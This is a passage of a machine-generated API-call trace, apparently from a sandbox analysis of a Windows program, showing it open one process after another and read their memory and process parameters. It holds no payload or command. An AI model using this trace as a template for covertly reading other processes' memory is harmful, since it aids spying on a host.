| out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.600] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4033f0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.600] malloc (_Size=0x72) returned 0xea9420 [0192.600] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a78, lpBuffer=0xea9420, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0192.600] free (_Block=0xea9420) [0192.601] CloseHandle (hObject=0x414) returned 1 [0192.601] _ui64tow_s (in: _Value=0x924, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0192.601] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2340") returned 4 [0192.601] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.601] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.602] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0x414 [0192.602] GetLastError () returned 0x0 [0192.602] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.602] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x284018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.602] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.602] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4724e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.602] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x472118, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.603] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.603] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.603] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x284020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.603] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x471ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.603] malloc (_Size=0x76) returned 0xea9320 [0192.603] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x472164, lpBuffer=0xea9320, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0192.603] free (_Block=0xea9320) [0192.603] CloseHandle (hObject=0x414) returned 1 [0192.604] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0192.604] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3004") returned 4 [0192.604] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.604] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.605] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0x414 [0192.605] GetLastError () returned 0x0 [0192.605] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.605] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1075018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.605] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.605] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x14041e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.605] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1403c76, lpBuffer=0x104c5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.606] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.606] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.606] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1075020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.606] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1403590, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.606] malloc (_Size=0x14c) returned 0xeb4a50 [0192.606] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1403d4a, lpBuffer=0xeb4a50, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb4a50*, lpNumberOfBytesRead=0x0) returned 1 [0192.607] free (_Block=0xeb4a50) [0192.608] CloseHandle (hObject=0x414) returned 1 [0192.608] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0192.609] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3100") returned 4 [0192.609] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.609] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.610] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0x414 [0192.610] GetLastError () returned 0x0 [0192.610] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.610] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x27c018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.610] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.610] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403df0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.610] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a38, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.610] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.611] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.611] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x27c020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.611] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4033f0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.611] malloc (_Size=0x64) returned 0xeb64d0 [0192.611] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a84, lpBuffer=0xeb64d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.611] free (_Block=0xeb64d0) [0192.612] CloseHandle (hObject=0x414) returned 1 [0192.612] _ui64tow_s (in: _Value=0xca4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0192.613] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3236") returned 4 [0192.613] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.613] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.614] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0x414 [0192.614] GetLastError () returned 0x0 [0192.614] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.614] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7c9018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.614] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.615] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x8040a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.615] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x803be4, lpBuffer=0x104c5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.616] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.616] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.616] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7c9020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.617] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x803520, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.617] malloc (_Size=0x11a) returned 0xeb4a50 [0192.617] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x803c7a, lpBuffer=0xeb4a50, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb4a50*, lpNumberOfBytesRead=0x0) returned 1 [0192.618] free (_Block=0xeb4a50) [0192.618] CloseHandle (hObject=0x414) returned 1 [0192.619] _ui64tow_s (in: _Value=0xd04, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0192.619] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3332") returned 4 [0192.619] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.619] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.620] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0x414 [0192.620] GetLastError () returned 0x0 [0192.620] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.620] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x265018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.620] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.620] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403df0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.621] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a38, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.621] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.621] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.621] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x265020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.621] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4033f0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.621] malloc (_Size=0x64) returned 0xeb60e0 [0192.621] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a84, lpBuffer=0xeb60e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0192.622] free (_Block=0xeb60e0) [0192.622] CloseHandle (hObject=0x414) returned 1 [0192.623] _ui64tow_s (in: _Value=0xbdc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3036") returned 0x0 [0192.623] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3036") returned 4 [0192.624] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.624] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.625] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbdc) returned 0x414 [0192.625] GetLastError () returned 0x0 [0192.625] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.625] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3fe018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.625] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.625] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1024b0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.625] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x102118, lpBuffer=0x104c5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.626] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.626] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.626] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3fe020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.626] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x101ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.626] malloc (_Size=0x56) returned 0xea9e70 [0192.626] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x10216c, lpBuffer=0xea9e70, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9e70*, lpNumberOfBytesRead=0x0) returned 1 [0192.627] free (_Block=0xea9e70) [0192.627] CloseHandle (hObject=0x414) returned 1 [0192.627] _ui64tow_s (in: _Value=0xe68, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0192.628] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3688") returned 4 [0192.628] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.628] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.629] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x414 [0192.629] GetLastError () returned 0x0 [0192.629] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.629] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x331018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.629] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.629] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d26f0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.629] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2118, lpBuffer=0x104c5a0, nSize=0xf8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.630] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.630] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.630] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x331020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.630] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d1ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.630] malloc (_Size=0x110) returned 0xeb4a50 [0192.630] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2210, lpBuffer=0xeb4a50, nSize=0x10e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb4a50*, lpNumberOfBytesRead=0x0) returned 1 [0192.631] free (_Block=0xeb4a50) [0192.631] CloseHandle (hObject=0x414) returned 1 [0192.631] _ui64tow_s (in: _Value=0xf20, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0192.632] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3872") returned 4 [0192.632] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.632] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x414 [0192.633] GetLastError () returned 0x0 [0192.633] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.633] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x342018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.633] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.633] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d24e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.633] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2118, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.634] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.634] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.634] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x342020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.634] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d1ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.634] malloc (_Size=0x64) returned 0xeb6700 [0192.634] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2164, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0192.635] free (_Block=0xeb6700) [0192.635] CloseHandle (hObject=0x414) returned 1 [0192.635] _ui64tow_s (in: _Value=0xf60, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | 